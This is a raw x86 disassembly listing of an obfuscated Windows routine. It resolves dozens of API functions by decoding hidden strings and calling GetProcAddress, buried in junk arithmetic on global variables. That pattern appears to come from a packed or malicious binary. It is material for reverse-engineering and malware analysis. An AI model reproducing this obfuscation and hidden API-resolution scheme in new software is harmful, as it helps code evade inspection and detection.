and dword [0x447d64], eax
push edi
push dword [0x45838c]
call ebp
mov dword [0x43f050], eax
mov eax, dword [0x457fd4]
lea ecx, [eax + 1]
mov dword [0x457fd4], ecx
add eax, 0x77e4b0d
or eax, 0xf80dd0bb
xor dword [0x44c684], eax
push 5
push 0x1477
call fcn.004103ea
add esp, 8
mov esi, eax
mov dword [0x451564], 0x4d4ce0a7
push edi
push 7
call fcn.0040d60f
add esp, 8
mov eax, dword [0x44cd48]
lea ecx, [eax + 1]
mov dword [0x44cd48], ecx
imul eax, eax, 0x116ac144
xor dword [0x458094], eax
push esi
push dword [0x45838c]
call ebp
mov dword [0x43f054], eax
add dword [0x44febc], 0x539c8f4
push 0xc
push 0x98d
call fcn.004103ea
add esp, 8
mov edi, eax
mov eax, dword [0x44d730]
inc eax
mov dword [0x44d730], eax
movzx ecx, word [0x441796]
inc ecx
movsx ecx, cx
xor eax, ecx
mov word [0x441796], cx
xor eax, 0xf7b06ef7
cmp eax, 0x4cd65e42
jl 0x419538
mov eax, dword [0x44ea7c]
add eax, dword [0x453ba8]
xor eax, 0xc48a81f
mov dword [0x449f00], eax
push esi
push 5
call fcn.0040d60f
add esp, 8
or word [0x4471a4], 0xbfa8
push edi
push dword [0x45838c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x43f058], eax
and dword [0x44a028], 0xeb3433ff
push 8
push 0x3b3c
call fcn.004103ea
add esp, 8
mov esi, eax
mov eax, 0xdac
add eax, dword [0x455d54]
mov word [0x443d2e], ax
push edi
push 0xc
call fcn.0040d60f
add esp, 8
movzx eax, word [0x444f50]
inc eax
mov word [0x444f50], ax
cwde
xor eax, 0x9833af88
cmp eax, 0xfb6ef6eb
jl 0x4195ba
or dword [0x450a7c], 0xde12ae20
push esi
push dword [0x45838c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x43f05c], eax
mov eax, dword [0x45104c]
inc eax
mov dword [0x45104c], eax
cmp eax, 0x26b7bf69
jg 0x4195e8
and dword [0x44c6b8], 0x9beadc6d
push 0xe
push 0x2615
call fcn.004103ea
add esp, 8
mov edi, eax
mov eax, dword [0x453f60]
cmp eax, 0x4980ebbf
jl 0x41960f
add dword [0x4545bc], 0xfb7b110a
push esi
push 8
call fcn.0040d60f
add esp, 8
imul eax, dword [0x44940c], 0x275a2889
cmp eax, 0x44b9dcb8
jg 0x419640
mov eax, dword [0x44b994]
inc eax
mov dword [0x44b994], eax
xor eax, 0xaed1d303
mov dword [0x44cfb4], eax
push edi
push dword [0x45838c]
call ebp
mov dword [0x43f060], eax
mov eax, dword [0x44e858]
not eax
and eax, 0x4306
mov word [0x4416f0], ax
push 6
push 0x2809
call fcn.004103ea
add esp, 8
mov ebx, eax
or word [0x44242e], 0xe500
push edi
push 0xe
call fcn.0040d60f
add esp, 8
or dword [0x44a208], 0xfe63047f
push ebx
push dword [0x45838c]
call ebp
mov dword [0x43f064], eax
and word [0x444314], 0xcafb
push 0xa
push 0x40b9
call fcn.004103ea
add esp, 8
mov esi, eax
mov eax, dword [0x449554]
dec eax
mov dword [0x449554], eax
or eax, 0xcf0973b
cmp eax, 0xd83b80b5
jl 0x4196d8
or dword [0x450774], 0x947be63b
push ebx
push 6
call fcn.0040d60f
add esp, 8
mov eax, dword [0x4522fc]
movzx ecx, word [0x4446ea]
xor ecx, eax
mov word [0x4446ea], cx
push esi
push dword [0x45838c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x43f068], eax
mov eax, 0x1b5b9f32
add eax, dword [0x44cdc8]
xor eax, 0x6433e2bd
cmp eax, dword [0x44cbcc]
jl 0x41972f
mov eax, dword [0x457064]
not eax
sub dword [0x44a664], eax
push 0xa
push 0x1ef8
call fcn.004103ea
add esp, 8
mov ebx, eax
add word [0x444af8], 0xf5a8
push esi
push 0xa
call fcn.0040d60f
add esp, 8
movsx eax, word [0x442696]
imul eax, eax, 0x65e0e8a0
or eax, 0x573d6891
mov dword [0x45048c], eax
push ebx
push dword [0x45838c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x43f06c], eax
mov eax, dword [0x451690]
not eax
mov ecx, dword [0x44a1f8]
lea edx, [ecx - 1]
mov dword [0x44a1f8], edx
or eax, ecx
xor dword [0x457c2c], eax
push 7
push 0x49f9
call fcn.004103ea
add esp, 8
mov edi, eax
mov eax, dword [0x454c40]
lea ecx, [eax + 1]
mov dword [0x454c40], ecx
cmp eax, 0x366d380f
jne 0x4197d2
imul eax, dword [0x44e088], 0xb359ae4e
mov dword [0x44e088], eax
jmp 0x4197dc
xor dword [0x44d7dc], 0x41800004
push ebx
push 0xa
call fcn.0040d60f
add esp, 8
imul ax, word [0x442240], 0x9080
mov word [0x442240], ax
push edi
push dword [0x45838c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x43f070], eax
mov eax, 0x2b0f11d8
sub eax, dword [0x44854c]
add dword [0x453eac], eax
push 5
push 0x1e48
call fcn.004103ea
add esp, 8
mov esi, eax
dec word [0x4436f2]
movzx eax, word [0x441214]
dec eax
mov word [0x441214], ax
cwde
imul eax, dword [0x44803c]
mov dword [0x44803c], eax
push edi
push 7
call fcn.0040d60f
add esp, 8
imul eax, dword [0x4553f8], 0xd37cfd04
cmp eax, 0x6ce5b708
jg 0x419879
mov eax, 0x27935f54
and eax, dword [0x44f084]
add dword [0x44e6f4], eax
push esi
push dword [0x45838c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x43f074], eax
movsx eax, word [0x43f318]
add eax, 0x5037616c
movzx ecx, word [0x442ea8]
inc ecx
mov word [0x442ea8], cx
movsx ecx, cx
xor ecx, eax
cmp ecx, 0xaaf9f9bd
jg 0x4198cb
movsx eax, word [0x44382c]
movsx ecx, word [0x444a76]
add ecx, eax
add dword [0x4572b4], ecx
jmp 0x4198e2
mov eax, 0x247462f0
add eax, dword [0x453d04]
or eax, dword [0x44f92c]
add dword [0x449588], eax
push 7
push 0x3456
call fcn.004103ea
add esp, 8
mov edi, eax
mov eax, dword [0x4551f0]
sar eax, 0xa
sub dword [0x452544], eax
push esi
push 5
call fcn.0040d60f
add esp, 8
mov eax, dword [0x456a80]
inc eax
mov dword [0x456a80], eax
mov dword [0x44a100], eax
push edi
push dword [0x45838c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x43f078], eax
or dword [0x44f038], 0x4cab86a1
push 5
push 0x69a
call fcn.004103ea
add esp, 8
mov esi, eax
mov eax, 0x8f4bb05d
add eax, dword [0x4552f4]
xor dword [0x44ed80], eax
push edi
push 7
call fcn.0040d60f
add esp, 8
mov eax, dword [0x44b9e4]
cmp eax, 0x84943e6a
jne 0x41999c
movzx eax, word [0x447128]
lea ecx, [eax - 1]
mov word [0x447128], cx
imul eax, eax, 0x2549
add ax, word [0x443ade]
add eax, 0xffff88d1
mov word [0x443ade], ax
jmp 0x4199d0
mov eax, dword [0x4562b0]
not eax
mov ecx, dword [0x456dd4]
lea edx, [ecx + 1]
mov dword [0x456dd4], edx
add eax, ecx
cmp eax, 0xc5c1eb8f
jl 0x4199c6
add word [0x44427a], 0x84ef
jmp 0x4199d0
or dword [0x44e55c], 0x93bcf679
push esi
push dword [0x45838c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x43f07c], eax
mov eax, dword [0x44c028]
not eax
imul eax, eax, 0x9b8dc0cf
mov dword [0x44defc], eax
push 0xb
push 0x4a1a
call fcn.004103ea
add esp, 8
mov edi, eax
imul eax, dword [0x452bb0], 0xba590ef9
mov dword [0x452bb0], eax
push esi
push 5
call fcn.0040d60f
add esp, 8
mov eax, dword [0x452770]
movsx ecx, word [0x440278]
add ecx, 0x7d91d97
and ecx, eax
cmp ecx, 0x913d1e6a
je 0x419a66
mov eax, dword [0x4503d0]
lea ecx, [eax + 1]
mov dword [0x4503d0], ecx
mov ecx, dword [0x44d788]
shl ecx, 9
sub eax, ecx
xor eax, 0xc0cf2661
cmp eax, 0xb29581c
jg 0x419a66
inc dword [0x450904]
push edi
push dword [0x45838c]
call ebp
mov dword [0x43f080], eax
mov ax, word [0x443616]
mov ax, word [0x440014]
or word [0x444ac4], ax
push 7
push 0x4dc6
call fcn.004103ea
add esp, 8
mov esi, eax
mov eax, dword [0x450244]
sar eax, 1
xor eax, dword [0x449564]
xor eax, 0x81082234
mov dword [0x449564], eax
push edi
push 0xb
call fcn.0040d60f
add esp, 8
mov word [0x4454d4], 0xb45a
push esi
push dword [0x45838c]
call ebp
mov dword [0x43f084], eax
add dword [0x449f94], 0x662c3ca0
push 0xc
push 0x4db8
call fcn.004103ea
add esp, 8
mov edi, eax
movsx eax, word [0x447272]
lea ecx, [eax - 1]
mov word [0x447272], cx
add dword [0x4543c0], eax
push esi
push 7
call fcn.0040d60f
add esp, 8
mov eax, 0xb24e9aa6
or eax, dword [0x4503f0]
imul eax, dword [0x455d00]
mov dword [0x455d00], eax
push edi
push dword [0x45838c]
call ebp
mov dword [0x43f088], eax
mov eax, dword [0x44d574]
add dword [0x454898], 0x822c4c30
push 9
push 0x4907
call fcn.004103ea
add esp, 8
mov esi, eax
mov eax, dword [0x44f304]
sub dword [0x44aaf8], eax
push edi
push 0xc
call fcn.0040d60f
add esp, 8
mov eax, dword [0x4510e0]
lea ecx, [eax + 1]
mov dword [0x4510e0], ecx
mov dword [0x44ba38], eax
push esi
push dword [0x45838c]
call ebp
mov dword [0x43f08c], eax
add dword [0x44a858], 0x77dc6a38
push 0xd
push 0x4da9
call fcn.004103ea
add esp, 8
mov edi, eax
add dword [0x44d624], 0x53dda831
push esi
push 9
call fcn.0040d60f
add esp, 8
xor dword [0x4493f8], 0x298c8c98
push edi
call dword [0x43f1e0]
mov dword [0x45837c], eax
or dword [0x44d06c], 0xd0afa249
push 0x14
push 0x1c5
call fcn.004103ea
add esp, 8
mov esi, eax
movsx eax, word [0x446e78]
imul eax, dword [0x448b94]
mov dword [0x448b94], eax
push edi
push 0xd
call fcn.0040d60f
add esp, 8
mov ax, word [0x442f06]
mov eax, dword [0x450ee4]
and eax, 4
shl eax, 7
movzx ecx, word [0x441c9a]
sub ecx, eax
mov word [0x441c9a], cx
push esi
push dword [0x45837c]
call ebp
mov dword [0x43f1f8], eax
movsx eax, word [0x445bcc]
shl eax, 7
and eax, 0xebae1980
mov dword [0x447a30], eax
push 0xd
push 0x1468
call fcn.004103ea
add esp, 8
mov edi, eax
mov eax, dword [0x448c10]
dec eax
mov dword [0x448c10], eax
and eax, 0xbe67750e
cmp eax, 0xe067b01e
jl 0x419c9e
mov eax, dword [0x44c5c8]
movzx ecx, word [0x43ff6a]
lea edx, [ecx + 1]
mov word [0x43ff6a], dx
add eax, ecx
movzx ecx, word [0x442d58]
add ecx, eax
mov word [0x442d58], cx
jmp 0x419cc1
movsx eax, word [0x442fb6]
and eax, 0x71020000
or eax, 0x86c4bd78
cmp eax, 0xc8026608
jb 0x419cc1
mov eax, dword [0x454160]
inc dword [0x454928]
push esi
push 0x14
call fcn.0040d60f
add esp, 8
and dword [0x44e750], 0x2349dcd
push edi
push dword [0x45837c]
call ebp
mov dword [0x43f1fc], eax
imul ax, word [0x440fd8], 0xc74f
mov word [0x440fd8], ax
push 0xf
push 0x2730
call fcn.004103ea
add esp, 8
mov ebx, eax
add dword [0x4535b8], 0xd587ffaf
push edi
push 0xd
call fcn.0040d60f
add esp, 8
imul eax, dword [0x44f8e8], 0x639d0470
mov dword [0x44f8e8], eax
push ebx
push dword [0x45837c]
call ebp
mov dword [0x43f200], eax
imul eax, dword [0x44f2b0], 0x6e1bc8b6
mov dword [0x44f2b0], eax
push 0x13
push 0x39f
call fcn.004103ea
add esp, 8
mov esi, eax
mov eax, dword [0x448a8c]
or eax, dword [0x44cfe4]
or eax, 0xa709fc26
mov dword [0x44cfe4], eax
push ebx
push 0xf
call fcn.0040d60f
add esp, 8
movzx eax, word [0x44456c]
or eax, 0x8200
add word [0x43ff84], ax
push esi
push dword [0x45837c]
call ebp
mov dword [0x43f204], eax
mov eax, dword [0x457090]
sar eax, 3
or eax, 0x9db02233
and dword [0x453a08], eax
push 0x11
push 0x2e18
call fcn.004103ea
add esp, 8
mov edi, eax
and word [0x44750c], 0xa3a8
push esi
push 0x13
call fcn.0040d60f
add esp, 8
mov dword [0x456260], 0x64a21f68
push edi
push dword [0x45837c]
call ebp
mov dword [0x43f208], eax
and dword [0x450ec4], 0x5e1b623b
push 0x1c
push 0x2842
call fcn.004103ea
add esp, 8
mov esi, eax
mov eax, dword [0x44c790]
lea ecx, [eax - 1]
mov dword [0x44c790], ecx
add eax, 0x203b75d5
cmp eax, 0x5356fb7c
jl 0x419e2c
mov eax, dword [0x44bf94]
xor eax, dword [0x44abd0]
mov dword [0x456d2c], eax
push edi
push 0x11
call fcn.0040d60f
add esp, 8
mov eax, dword [0x45336c]
dec eax
mov dword [0x45336c], eax
and eax, 0x8e49e316
sub dword [0x44db34], eax
push esi
push dword [0x45837c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x43f20c], eax
movsx eax, word [0x4459d8]
imul eax, eax, 0x719c2966
add eax, 0x4caa07f2
movsx ecx, word [0x445830]
lea edx, [ecx + 1]
mov word [0x445830], dx
and ecx, 0xd406a06
cmp eax, ecx
jg 0x419ea1
mov eax, dword [0x44d9a4]
cmp eax, 0xa9f4a302
je 0x419ea1
add word [0x447624], 0xa0a0
push 0x1c
push 0x1f5b
call fcn.004103ea
add esp, 8
mov edi, eax
mov eax, dword [0x456430]
movzx ecx, word [0x446982]
mov edx, dword [0x44d848]
not edx
imul edx, ecx
xor edx, eax
movzx eax, word [0x4466c6]
and eax, edx
mov word [0x4466c6], ax
push esi
push 0x1c
call fcn.0040d60f
add esp, 8
mov eax, dword [0x4534ec]
lea ecx, [eax - 1]
mov dword [0x4534ec], ecx
cmp eax, 0xa26a51f
jg 0x419f03
xor word [0x43f4d0], 0x684d
push edi
push dword [0x45837c]
call ebp
mov dword [0x43f210], eax
mov eax, dword [0x4534fc]
shl eax, 4
or eax, 0x1cae4860
sub dword [0x44cfd8], eax
push 0xf
push 0x4070
call fcn.004103ea
add esp, 8
mov ebx, eax
mov eax, dword [0x455388]
add eax, 0x1bb0
or eax, 0xa9b9
movzx ecx, word [0x444dc4]
sub ecx, eax
mov word [0x444dc4], cx
push edi
push 0x1c
call fcn.0040d60f
add esp, 8
mov eax, 0xa918423f
and eax, dword [0x447f78]
xor dword [0x448b4c], eax
push ebx
push dword [0x45837c]
call ebp
mov dword [0x43f214], eax
imul eax, dword [0x4490e8], 0xee27ee67
mov dword [0x4490e8], eax
push 0x16
push 0x3b46
call fcn.004103ea
add esp, 8
mov esi, eax
mov dword [0x4562f8], 0x79fc539f
push ebx
push 0xf
call fcn.0040d60f
add esp, 8
mov eax, dword [0x44ed14]
inc eax
mov dword [0x44ed14], eax
mov ecx, 0xd2c897ea
and ecx, dword [0x4492fc]
or ecx, eax
mov dword [0x44fa5c], ecx
push esi
push dword [0x45837c]
call ebp
mov dword [0x43f218], eax
and dword [0x4494c8], 0x8154bea9
push 0xe
push 0x2625
call fcn.004103ea
add esp, 8
mov edi, eax
movsx eax, word [0x446932]
lea ecx, [eax - 1]
mov word [0x446932], cx
movzx ecx, word [0x4442e2]
inc ecx
mov word [0x4442e2], cx
movsx ecx, cx
lea eax, [eax + ecx + 0x65eb52d2]
cmp eax, 0xae81cf59
jg 0x41a037
mov dword [0x44f364], 0x17a2e691
jmp 0x41a043
mov ax, word [0x441b20]
mov ax, word [0x44204a]
push esi
push 0x16
call fcn.0040d60f
add esp, 8
mov eax, dword [0x45098c]
and dword [0x448648], 0xfbf35e69
push edi
push dword [0x45837c]
call ebp
mov dword [0x43f21c], eax
mov eax, dword [0x4511c8]
and eax, 0x2892
movzx ecx, word [0x44606a]
xor ecx, eax
mov word [0x44606a], cx
push 0xf
push 0x87e
call fcn.004103ea
add esp, 8
mov ebx, eax
add dword [0x44b5c4], 0xee6099af
push edi
push 0xe
call fcn.0040d60f
add esp, 8
imul eax, dword [0x44c884], 0x18d42420
mov dword [0x44c884], eax
push ebx
push dword [0x45837c]
call ebp
mov dword [0x43f220], eax
add dword [0x4570b8], 0x937b19c0
push 0xe
push 0x1e0c
call fcn.004103ea
add esp, 8
mov esi, eax
mov eax, dword [0x447a5c]
sar eax, 8
movzx ecx, word [0x441e90]
dec ecx
mov word [0x441e90], cx
movsx ecx, cx
xor ecx, eax
cmp ecx, 0x1606b1aa
jl 0x41a122
mov eax, dword [0x44a44c]
dec eax
mov dword [0x44a44c], eax
imul eax, eax, 0x54857dd9
xor eax, 0xcd4f2bd2
mov dword [0x4487e8], eax
push ebx
push 0xf
call fcn.0040d60f
add esp, 8
mov eax, 0x7d002d7d
or eax, dword [0x449f60]
cmp eax, 0x2e71c966
jg 0x41a159
mov eax, dword [0x447fc8]
and eax, 0xa760
movzx ecx, word [0x440730]
add ecx, eax
mov word [0x440730], cx
push esi
push dword [0x45837c]
call ebp
mov dword [0x43f090], eax
add dword [0x4565d0], 0xbfeffee7
push 0xe
push 0x3991
call fcn.004103ea
add esp, 8
mov edi, eax
or word [0x443502], 0xe04
push esi
push 0xe
call fcn.0040d60f
add esp, 8
mov eax, dword [0x451a0c]
imul eax, eax, 0x82c7ebae
and eax, 0x7c1a
movzx ecx, word [0x4427ca]
imul ecx, eax
mov word [0x4427ca], cx
push edi
push dword [0x45837c]
call ebp
mov dword [0x43f094], eax
mov eax, 0xead9ab87
add eax, dword [0x44d820]
and dword [0x4496e4], eax
push 0xf
push 0x2e07
call fcn.004103ea
add esp, 8
mov ebx, eax
mov eax, dword [0x4581e8]
sub dword [0x455a04], eax
push edi
push 0xe
call fcn.0040d60f
add esp, 8
mov eax, 0xc0025874
add eax, dword [0x44edf0]
mov dword [0x452dd4], eax
push ebx
push dword [0x45837c]
call ebp
mov dword [0x43f098], eax
imul eax, dword [0x44e6dc], 0x94a6217d
mov dword [0x44e6dc], eax
push 0xe
push 0x2e98
call fcn.004103ea
add esp, 8
mov esi, eax
add dword [0x447f90], 0xd5128c3e
push ebx
push 0xf
call fcn.0040d60f
add esp, 8
mov eax, dword [0x454f24]
lea ecx, [eax + 1]
mov dword [0x454f24], ecx
add eax, 0xfde4
xor eax, 0x53b9
mov word [0x441dfc], ax
push esi
push dword [0x45837c]
call ebp
mov dword [0x43f09c], eax
movzx eax, word [0x4465f6]
dec eax
mov word [0x4465f6], ax
or eax, 0x8870
xor ax, word [0x44670e]
xor eax, 0x3608
mov word [0x44670e], ax
push 0x11
push 0x415d
call fcn.004103ea
add esp, 8
mov edi, eax
mov eax, dword [0x4544b4]
lea ecx, [eax - 1]
mov dword [0x4544b4], ecx
and dword [0x454cb8], eax
push esi
push 0xe
call fcn.0040d60f
add esp, 8
xor dword [0x450d30], 0x3c4314
push edi
push dword [0x45837c]
call ebp
mov dword [0x43f0a0], eax
mov eax, dword [0x4493cc]
lea ecx, [eax + 1]
mov dword [0x4493cc], ecx
mov ecx, 0x31746215
sub ecx, eax
or ecx, 0xefca325c
imul ecx, dword [0x44e8fc]
mov dword [0x44e8fc], ecx
push 0xc
push 0x421a
call fcn.004103ea
add esp, 8
mov esi, eax
mov dword [0x44cd3c], 0x8ff26f17
push edi
push 0x11
call fcn.0040d60f
add esp, 8
add dword [0x45157c], 0x1b8e1ada
push esi
push dword [0x45837c]
call ebp
mov dword [0x43f0a4], eax
mov ax, word [0x44022e]
imul eax, dword [0x44bdfc], 0x72108f70
add eax, 0x11b486c0
or dword [0x455a0c], eax
push 0xc
push 0x18
call fcn.004103ea
add esp, 8
mov edi, eax
add dword [0x450030], 0x3fa5ff47
push esi
push 0xc
call fcn.0040d60f
add esp, 8
mov eax, dword [0x449cec]
lea ecx, [eax - 1]
mov dword [0x449cec], ecx
cmp eax, 0x7c041404
jne 0x41a3c5
mov eax, dword [0x452824]
lea ecx, [eax - 1]
mov dword [0x452824], ecx
xor eax, 0x1aee
movzx ecx, word [0x43ff72]
or ecx, eax
mov word [0x43ff72], cx
push edi
push dword [0x45837c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x43f0a8], eax
movsx eax, word [0x440ed0]
mov ecx, dword [0x454880]
lea eax, [eax + ecx + 0x1a33e968]
mov dword [0x454880], eax
push 0x19
push 0x42b3
call fcn.004103ea
add esp, 8
mov esi, eax
mov eax, dword [0x44c0d8]
sar eax, 6
or eax, 0x9fd72db7
xor eax, 0x40209208
imul eax, dword [0x4497ec]
mov dword [0x4497ec], eax
push edi
push 0xc
call fcn.0040d60f
add esp, 8
mov eax, dword [0x4556d4]
sar eax, 9
add eax, 0x473dcf52
and eax, 0xfa2956bd
cmp eax, 0x8bde0fe8
jg 0x41a44f
add dword [0x455064], 0x5c51055
jmp 0x41a45e
imul ax, word [0x4440c0], 0x1b4
mov word [0x4440c0], ax
push esi
push dword [0x45837c]
call ebp
mov dword [0x43f0ac], eax
and dword [0x456ad0], 0x8ff3a482
push 0x15
push 0x32d1
call fcn.004103ea
add esp, 8
mov edi, eax
mov eax, dword [0x44d238]
lea ecx, [eax - 1]
mov dword [0x44d238], ecx
or eax, 0x23f0ae0d
imul eax, dword [0x44c4dc]
mov dword [0x44c4dc], eax
push esi
push 0x19
call fcn.0040d60f
add esp, 8
mov eax, dword [0x44a9d8]
sub dword [0x45796c], eax
push edi
push dword [0x45837c]
call ebp
mov dword [0x43f0b0], eax
xor dword [0x456578], 0xf7b7e5d9
push 8
push 0x1073
call fcn.004103ea
add esp, 8
mov esi, eax
mov eax, dword [0x4505cc]
sar eax, 2
imul eax, dword [0x4501d0]
mov dword [0x4501d0], eax
push edi
push 0x15
call fcn.0040d60f
add esp, 8
add dword [0x4482c0], 0x399a0056
push esi
push dword [0x45837c]
call ebp
mov dword [0x43f0b4], eax
mov eax, dword [0x452e84]
lea ecx, [eax - 1]
mov dword [0x452e84], ecx
movsx ecx, word [0x444f1e]
shl ecx, 3
cmp eax, ecx
jl 0x41a54a
mov eax, dword [0x44fb28]
shl eax, 0xa
and eax, 0x48a18000
mov dword [0x44aaa0], eax
push 0x11
push 0x3443
call fcn.004103ea
add esp, 8
mov edi, eax
mov eax, dword [0x455478]
cmp eax, 0x1ff8fafe
jne 0x41a571
add dword [0x44ecb0], 0x35b5b540
push esi
push 8
call fcn.0040d60f
add esp, 8
imul eax, dword [0x455a3c], 0x23c46a9c
mov dword [0x455a3c], eax
push edi
push dword [0x45837c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x43f0b8], eax
mov eax, 0xefd5c867
xor eax, dword [0x449100]
mov dword [0x456aa4], eax
push 0x11
push 0x40a6
call fcn.004103ea
add esp, 8
mov ebx, eax
mov eax, dword [0x452e34]
movzx ecx, word [0x443036]
sub ecx, eax
mov word [0x443036], cx
push edi
push 0x11
call fcn.0040d60f
add esp, 8
mov eax, dword [0x44fbd4]
dec eax
mov dword [0x44fbd4], eax
cmp eax, 0x7a5ffbd6
jne 0x41a5fa
mov dword [0x44ad20], 0x3a7afce3
push ebx
push dword [0x45837c]
call ebp
mov dword [0x43f0bc], eax
and dword [0x44a528], 0x28042007
push 0x16
push 0x4855
call fcn.004103ea
add esp, 8
mov esi, eax
mov eax, dword [0x44dab0]
xor dword [0x452924], eax
push ebx
push 0x11
call fcn.0040d60f
add esp, 8
mov eax, 0x64092031
xor eax, dword [0x44793c]
imul eax, dword [0x447f68]
mov dword [0x447f68], eax
push esi
push dword [0x45837c]
call ebp
mov dword [0x43f0c0], eax
mov eax, 0x12402900
and eax, dword [0x457b84]
or eax, 0xd8e562f
sub dword [0x457080], eax
push 0x15
push 0x6b4
call fcn.004103ea
add esp, 8
mov edi, eax
imul eax, dword [0x44e950], 0x7aceefa5
cmp eax, 0xff7fffed
jne 0x41a6bf
mov eax, dword [0x4518e8]
lea ecx, [eax + 1]
mov dword [0x4518e8], ecx
mov ecx, 0xda0b9007
sub ecx, eax
xor ecx, dword [0x44a570]
xor ecx, 0x4043961e
mov dword [0x44a570], ecx
jmp 0x41a6e4
movsx eax, word [0x440cec]
mov ecx, 0xd030c86d
and ecx, dword [0x451418]
cmp eax, ecx
jge 0x41a6e4
imul ax, word [0x44556c], 0xd7fa
mov word [0x44556c], ax
push esi
push 0x16
call fcn.0040d60f
add esp, 8
imul eax, dword [0x451d1c], 0xa12d9a79
mov dword [0x451d1c], eax
push edi
push dword [0x45837c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x43f0c4], eax
mov eax, dword [0x453270]
shr eax, 2
and eax, 0x1f84691c
mov dword [0x44a8f0], eax
push edi
push 0x15
call fcn.0040d60f
add esp, 8
add dword [0x4479c0], 0x9c763e07
mov eax, dword [0x45839c]
mov ecx, dword [0x4583a0]
mov dword [0x44ae0c], 0xc6ed8a2a
mov edx, dword [0x457318]
lea esi, [edx - 1]
mov dword [0x457318], esi
and edx, 0x4cc3aeee
add dword [0x457598], edx
test ecx, ecx
je 0x41a772
mov byte [eax], 0
inc eax
dec ecx
jne 0x41a76b
mov eax, dword [0x457af0]
mov ecx, dword [0x45374c]
dec ecx
mov dword [0x45374c], ecx
imul ecx, ecx, 0xbbd22a8b
add ecx, eax
mov eax, 0x9ffdc2be
or eax, dword [0x450764]
cmp ecx, eax
jle 0x41a7a4
and word [0x446ac2], 0xbf74
push dword [0x45839c]
call sub.msvcrt.dll_free
add esp, 4
mov eax, dword [0x454750]
mov ecx, dword [0x4520fc]
lea edx, [ecx - 1]
mov dword [0x4520fc], edx
lea eax, [ecx + eax - 1]
cmp eax, 0xf6adae4c
jl 0x41a7db
xor dword [0x44a8a8], 0xe36707b6
call fcn.00428aca
or dword [0x454864], 0x35038b85
push 0xc
push 0x205a
call fcn.004103ea
add esp, 8
mov esi, eax
xor dword [0x447e2c], 0xb6cae9b0
push 0x104
push 0x45843c
push esi
call dword [0x43f154]
mov eax, dword [0x455b90]
lea ecx, [eax + 1]
mov dword [0x455b90], ecx
movsx ecx, word [0x444d48]
mov edx, 0x105ab211
sub edx, ecx
and edx, 0x103bdcba
cmp eax, edx
je 0x41a865
mov eax, dword [0x44bcf4]
cmp eax, 0x181364cc
jg 0x41a865
mov eax, dword [0x4538cc]
shr eax, 1
imul eax, eax, 0xbccd5ca0
movzx ecx, word [0x43f3e4]
or ecx, eax
mov word [0x43f3e4], cx
push esi
push 0xc
call fcn.0040d60f
add esp, 8
mov eax, dword [0x456f90]
lea ecx, [eax + 1]
mov dword [0x456f90], ecx
and eax, 0xdf935596
xor eax, 0x6c65294c
sub dword [0x4539f0], eax
push 0
push 0
push 0
call dword [0x43f150]
mov dword [0x458540], eax
movzx eax, word [0x4422dc]
inc eax
mov word [0x4422dc], ax
and word [0x4434e0], ax
mov dword [0x458bb4], 1
mov eax, 0xd2e09be3
add eax, dword [0x44d498]
imul eax, dword [0x44fea8]
mov dword [0x44fea8], eax
push 0
push 0
push 0
call dword [0x43f150]
mov dword [0x458558], eax
imul eax, dword [0x44af94], 0x5e7a67bf
mov dword [0x44af94], eax
push 0
push 0
push 0
call dword [0x43f150]
mov dword [0x458550], eax
movsx eax, word [0x440396]
lea ecx, [eax - 1]
mov word [0x440396], cx
xor eax, 0xfc6a153c
cmp eax, 0xb61c8c58
jg 0x41a943
mov eax, dword [0x457e24]
mov ecx, 0xc375f6e0
sub ecx, dword [0x44acf8]
or ecx, eax
cmp ecx, 0x9bcbf8e4
jl 0x41a943
dec dword [0x44bb10]
push 0
push 0
push 0
call dword [0x43f150]
mov dword [0x458544], eax
mov eax, dword [0x452910]
dec eax
mov dword [0x452910], eax
mov dword [0x4550bc], eax
imul eax, dword [0x44a570], 0x2f11b92
mov dword [0x44a570], eax
push 0x14
call sub.msvcrt.dll_malloc
add esp, 4
mov esi, eax
mov eax, dword [0x44d7c4]
dec eax
mov dword [0x44d7c4], eax
imul eax, dword [0x454c60]
mov dword [0x454c60], eax
mov ecx, esi
call fcn.00425568
xor dword [0x456078], 0x665c3eb9
mov eax, dword [0x44cb28]
lea ecx, [eax - 1]
mov dword [0x44cb28], ecx
mov ecx, dword [0x456468]
inc ecx
mov dword [0x456468], ecx
imul ecx, ecx, 0x8d6dda0
or ecx, eax
cmp ecx, 0x6b0cab7d
jl 0x41a9f4
imul eax, dword [0x452714], 0x81c7fe8a
cmp eax, 0x5ef0f73b
jg 0x41aa14
imul eax, dword [0x453920], 0x92bae48c
mov dword [0x453920], eax
jmp 0x41aa25
mov eax, dword [0x449284]
mov ecx, dword [0x44d1b4]
shl ecx, 9
or ecx, eax
cmp ecx, 0x5ee61823
je 0x41aa25
inc dword [0x44bc70]
jmp 0x41aa25
mov eax, 0x6d5b3050
and eax, dword [0x447cb4]
or dword [0x4523bc], eax
mov dword [0x458554], esi
mov eax, dword [0x44dd00]
lea ecx, [eax - 1]
mov dword [0x44dd00], ecx
sub dword [0x44c040], eax
imul eax, dword [0x44a570], 0x2f11b92
mov dword [0x44a570], eax
push 0x14
call sub.msvcrt.dll_malloc
add esp, 4
mov esi, eax
mov eax, dword [0x44d7c4]
dec eax
mov dword [0x44d7c4], eax
imul eax, dword [0x454c60]
mov dword [0x454c60], eax
mov ecx, esi
call fcn.00425568
xor dword [0x456078], 0x665c3eb9
mov eax, dword [0x44cb28]
lea ecx, [eax - 1]
mov dword [0x44cb28], ecx
mov ecx, dword [0x456468]
inc ecx
mov dword [0x456468], ecx
imul ecx, ecx, 0x8d6dda0
or ecx, eax
cmp ecx, 0x6b0cab7d
jl 0x41aacf
imul eax, dword [0x452714], 0x81c7fe8a
cmp eax, 0x5ef0f73b
jg 0x41aaef
imul eax, dword [0x453920], 0x92bae48c
mov dword [0x453920], eax
jmp 0x41ab00
